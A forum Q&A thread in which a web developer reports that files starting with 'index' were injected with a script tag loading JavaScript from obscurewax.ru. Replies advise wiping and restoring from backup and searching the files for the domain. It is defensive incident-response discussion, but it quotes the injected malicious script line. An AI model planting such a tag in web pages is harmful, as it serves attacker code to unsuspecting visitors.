The computer that I do my most webdevelopment work with caught a virus. A website that I am currently working on was compromised(I think by phpDesigners stored FTP password).
I currently get :
<script type="text/javascript" src="http://obscurewax.ru/Queue.js"></script>
<!--[some-random-number-here]-->
right at the end of every file that has the name starting with index on that domain.
currently I am combing through each and every file on the server with the name index(and others randomly) for this change and removing it, but this is a lengthy process and I am not sure if this is the right/entire fix for it.
What is the best way to deal with this type of a scenario?
(The virus on the PC has be cleaned)
As with any compromised system, the best course of action is to wipe it and restore from a known good backup.
As ChrisS says, wipe and restore if at all possible. If you are wrong about how they got in (and the hackers do not try to break into indivual sites, they generally do it en-mass), they will use the same method again and again. Rackspace hosting has some advice on Dealing with a site compromise as well.
This is related to this question:
https://stackoverflow.com/questions/3393888/how-can-i-remove-script-virus-from-my-script/
Most text editors (I use NotePad++) will find a string in a set of files. I'd try pointing the editor at the root of your source directory and find obsurewax.ru to see how many files are there.